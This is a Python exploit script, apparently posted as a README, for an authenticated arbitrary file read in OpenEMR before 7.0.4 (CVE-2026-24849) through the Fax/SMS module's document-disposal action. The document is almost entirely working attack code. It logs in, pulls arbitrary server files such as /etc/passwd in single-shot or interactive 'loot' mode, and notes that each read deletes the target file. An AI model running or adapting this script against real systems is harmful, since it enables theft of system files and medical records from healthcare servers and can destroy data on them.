README.md
Rendering markdown...
import argparse
import getpass
import re
import sys
try:
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
sys.exit("[-] This exploit needs the 'requests' module: pip3 install requests")
UA = "Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0"
FAXSMS = "/interface/modules/custom_modules/oe-module-faxsms/index.php"
# Method name varies across affected minor versions (disposeDoc <-> disposeDocument).
ACTIONS = ["disposeDoc", "disposeDocument"]
# An unauthenticated request is answered with a JS redirect to this path.
# (Use a narrow marker: every OpenEMR page embeds generic timeout JS.)
FAIL_MARKER = "login_screen.php?error=1"
def ask(prompt, default=None, secret=False):
label = "%s [%s]: " % (prompt, default) if default else "%s: " % prompt
value = getpass.getpass(label) if secret else input(label).strip()
return value or default
def login(sess, base, site, user, password):
"""Establish an OpenEMR session in `sess`. Validity is confirmed later by an
actual file read, so this just performs the GET (CSRF prime) + POST."""
# 1) prime a session cookie and grab the CSRF token if the form exposes one
r = sess.get(base + "/interface/login/login.php",
params={"site": site}, timeout=20, verify=False)
m = re.search(r"csrf_token_form.*?value=([\"'])(.*?)\1", r.text, re.S)
data = {
"new_login_session_management": "1",
"authProvider": "Default",
"authUser": user,
"clearPass": password,
"languageChoice": "1",
}
if m: # OpenEMR doesn't enforce it on this POST, but send it when present
data["csrf_token_form"] = m.group(2)
# 2) authenticate
sess.post(base + "/interface/main/main_screen.php",
params={"auth": "login", "site": site},
data=data, timeout=20, verify=False)
def read_file(sess, base, site, remote_path):
"""Return (content, status). status in {ok, session, missing}."""
for action in ACTIONS:
r = sess.get(base + FAXSMS,
params={"site": site, "type": "fax",
"_ACTION_COMMAND": action,
"file_path": remote_path, "action": "download"},
timeout=20, verify=False)
body = r.text
if FAIL_MARKER in body:
return None, "session"
if "Problem with download" in body:
return None, "missing" # method ran, file absent/unreadable
if body.strip() == "":
continue # likely wrong method name -> try next
return body, "ok"
return None, "missing"
def main():
ap = argparse.ArgumentParser(
description="OpenEMR < 7.0.4 authenticated arbitrary file read (CVE-2026-24849)")
ap.add_argument("-t", "--target", help="Base URL, e.g. http://10.10.10.10")
ap.add_argument("-u", "--user", help="OpenEMR username (default: admin)")
ap.add_argument("-P", "--password", help="OpenEMR password")
ap.add_argument("-s", "--site", help="OpenEMR site (default: default)")
ap.add_argument("-f", "--file", help="Absolute path of the remote file to read")
ap.add_argument("-o", "--output", help="Save looted file here instead of printing")
args = ap.parse_args()
print("[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)\n")
target = args.target or ask("Target base URL (e.g. http://10.10.10.10)")
if not target:
sys.exit("[-] Target is required.")
target = target.rstrip("/")
if not target.startswith("http"):
target = "http://" + target
user = args.user or ask("Username", default="admin")
password = args.password if args.password is not None else ask("Password", secret=True)
site = args.site or ask("Site", default="default")
sess = requests.Session()
sess.headers.update({"User-Agent": UA})
try:
print("[*] Authenticating to %s as '%s' ..." % (target, user))
login(sess, target, site, user, password)
# Confirm auth + that the vulnerable module is reachable by reading a
# safe, root-owned probe file (its unlink() fails, so it is not deleted).
_, status = read_file(sess, target, site, "/etc/hostname")
except requests.RequestException as e:
sys.exit("[-] Connection error: %s" % e)
if status == "session":
sys.exit("[-] Login failed - check credentials / site.")
if status == "missing":
print("[!] Logged in, but the file-read returned nothing.")
print(" Confirm the Fax/SMS module is enabled with EtherFax as the provider.\n")
else:
print("[+] Authenticated; CVE-2026-24849 file-read confirmed.\n")
def loot(path):
try:
data, status = read_file(sess, target, site, path)
except requests.RequestException as e:
print("[-] Connection error: %s" % e)
return "error"
if status == "session":
print("[-] Session rejected (auth/ACL problem).")
elif status == "missing":
print("[-] '%s' not found/readable, or Fax/SMS+EtherFax is not enabled." % path)
else:
if args.output:
with open(args.output, "w") as fh:
fh.write(data)
print("[+] %d bytes of '%s' written to %s" % (len(data), path, args.output))
else:
print("[+] ---------- %s ----------" % path)
sys.stdout.write(data if data.endswith("\n") else data + "\n")
print("[+] --------------------------")
return status
# single-shot mode
if args.file:
status = loot(args.file)
sys.exit(0 if status == "ok" else 2)
# interactive mode: read files until the operator quits
print("[*] Interactive read - enter absolute file paths (blank or 'q' to quit).")
print(" Reminder: disposeDoc() unlink()s the target after reading - prefer root-owned files.\n")
while True:
path = ask("file_path(Which file would you like to see e.g /etc/passwd)")
if not path or path.lower() in ("q", "quit", "exit"):
break
loot(path)
print()
if __name__ == "__main__":
main()